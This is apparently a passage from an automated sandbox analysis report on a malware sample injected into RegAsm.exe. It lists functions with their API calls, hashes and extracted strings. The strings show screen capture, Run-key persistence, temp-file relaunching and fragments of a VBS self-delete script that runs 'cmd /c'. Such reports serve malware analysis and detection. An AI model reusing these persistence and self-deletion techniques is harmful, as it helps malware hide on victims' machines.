                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseHandleOpenResume
                      • String ID:
                      • API String ID: 3614150671-0
                      • Opcode ID: 2a3aa994b22e7efaa36e689b3453aa0ec17d897c0eb19943e791a895e5fd105b
                      • Instruction ID: 907c56f48a3137ad3e5a70bb4b43f8813844e3fa30c0a1486a2e097c633c30d6
                      • Opcode Fuzzy Hash: 2a3aa994b22e7efaa36e689b3453aa0ec17d897c0eb19943e791a895e5fd105b
                      • Instruction Fuzzy Hash: B8D05E36104121E3C220176A7C0CD97AE69EBC5AA2705412AF904C32619B20CC01C6F4
                      Function 00434C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON
                      Download Yara Rule
                      APIs
                      • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00434C6B
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FeaturePresentProcessor
                      • String ID: MZ@
                      • API String ID: 2325560087-2978689999
                      • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                      • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                      • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                      • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                      Function 10006580 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID: .
                      • API String ID: 0-248832578
                      • Opcode ID: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                      • Instruction ID: 9046c4836333a0efab45ea1e09b7d9ff5bbd95f87beecc7c41f4b92e1cb642f0
                      • Opcode Fuzzy Hash: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                      • Instruction Fuzzy Hash: 45313771800159AFEB14CF74CC84EEA7BBEDB49384F200198F81997259E6319E448B60
                      Function 0044E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: .
                      • API String ID: 0-248832578
                      • Opcode ID: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                      • Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
                      • Opcode Fuzzy Hash: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                      • Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54
                      Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$EnumLocalesSystem_abort_free
                      • String ID: lJD
                      • API String ID: 1084509184-3316369744
                      • Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                      • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                      • Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                      • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                      Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$EnumLocalesSystem_abort_free
                      • String ID: lJD
                      • API String ID: 1084509184-3316369744
                      • Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                      • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                      • Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                      • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                      Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InfoLocale
                      • String ID: GetLocaleInfoEx
                      • API String ID: 2299586839-2904428671
                      • Opcode ID: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                      • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                      • Opcode Fuzzy Hash: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                      • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                      Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$_free$InfoLocale_abort
                      • String ID:
                      • API String ID: 1663032902-0
                      • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                      • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                      • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                      • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                      Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$InfoLocale_abort_free
                      • String ID:
                      • API String ID: 2692324296-0
                      • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                      • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                      • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                      • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                      Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                      • EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CriticalEnterEnumLocalesSectionSystem
                      • String ID:
                      • API String ID: 1272433827-0
                      • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                      • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                      • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                      • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                      Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$EnumLocalesSystem_abort_free
                      • String ID:
                      • API String ID: 1084509184-0
                      • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                      • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                      • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                      • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                      Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                      Download Yara Rule
                      APIs
                      • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.0 Pro), ref: 0040F8E5
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InfoLocale
                      • String ID:
                      • API String ID: 2299586839-0
                      • Opcode ID: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                      • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                      • Opcode Fuzzy Hash: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                      • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                      Function 00418E76 Relevance: 51.1, APIs: 28, Strings: 1, Instructions: 328windowmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                      • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                        • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                      • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                      • DeleteDC.GDI32(00000000), ref: 00418F2A
                      • DeleteDC.GDI32(00000000), ref: 00418F2D
                      • DeleteObject.GDI32(00000000), ref: 00418F30
                      • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                      • DeleteDC.GDI32(00000000), ref: 00418F62
                      • DeleteDC.GDI32(00000000), ref: 00418F65
                      • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                      • GetCursorInfo.USER32(?), ref: 00418FA7
                      • GetIconInfo.USER32 ref: 00418FBD
                      • DeleteObject.GDI32(?), ref: 00418FEC
                      • DeleteObject.GDI32(?), ref: 00418FF9
                      • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                      • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
                      • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                      • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                      • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                      • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                      • DeleteDC.GDI32(?), ref: 0041917C
                      • DeleteDC.GDI32(00000000), ref: 0041917F
                      • DeleteObject.GDI32(00000000), ref: 00419182
                      • GlobalFree.KERNEL32(?), ref: 0041918D
                      • DeleteObject.GDI32(00000000), ref: 00419241
                      • GlobalFree.KERNEL32(?), ref: 00419248
                      • DeleteDC.GDI32(?), ref: 00419258
                      • DeleteDC.GDI32(00000000), ref: 00419263
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIconInfo$BitmapBitsCursorDisplayDrawEnumLocalSelectSettingsStretch
                      • String ID: DISPLAY
                      • API String ID: 4256916514-865373369
                      • Opcode ID: 86b0354fb495a99297697fe6ef04b294736cc3efcbebce0c6d492a8aa7b6887a
                      • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                      • Opcode Fuzzy Hash: 86b0354fb495a99297697fe6ef04b294736cc3efcbebce0c6d492a8aa7b6887a
                      • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                      Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                        • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                      • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                      • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                      • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                        • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                        • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                      • ExitProcess.KERNEL32 ref: 0040D7D0
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                      • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                      • API String ID: 1861856835-332907002
                      • Opcode ID: d1e5175430559d744f3697ac5d4fa8fe9ed39947549674ebcac5be490dbfcb53
                      • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                      • Opcode Fuzzy Hash: d1e5175430559d744f3697ac5d4fa8fe9ed39947549674ebcac5be490dbfcb53
                      • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                      Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                        • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                      • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                      • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                      • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                        • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                        • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,63791986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                      • ExitProcess.KERNEL32 ref: 0040D419
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                      • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                      • API String ID: 3797177996-2557013105
                      • Opcode ID: 6f7c707475e127e0f0984543e97620b4272e3932a2f9fe4e694b6d7d0f6a37c1
                      • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                      • Opcode Fuzzy Hash: 6f7c707475e127e0f0984543e97620b4272e3932a2f9fe4e694b6d7d0f6a37c1
                      • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                      Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                      • ExitProcess.KERNEL32(00000000), ref: 004124A0
                      • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                      • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                      • CloseHandle.KERNEL32(00000000), ref: 0041253B
                      • GetCurrentProcessId.KERNEL32 ref: 00412541
                      • PathFileExistsW.SHLWAPI(?), ref: 00412572
                      • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                      • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                      • lstrcatW.KERNEL32 ref: 00412601
                        • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                      • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                      • Sleep.KERNEL32(000001F4), ref: 00412682
                      • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                      • CloseHandle.KERNEL32(00000000), ref: 004126A9
                      • GetCurrentProcessId.KERNEL32 ref: 004126AF
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                      • String ID: .exe$8SG$WDH$exepath$open$temp_
                      • API String ID: 2649220323-436679193
                      • Opcode ID: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                      • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                      • Opcode Fuzzy Hash: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                      • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
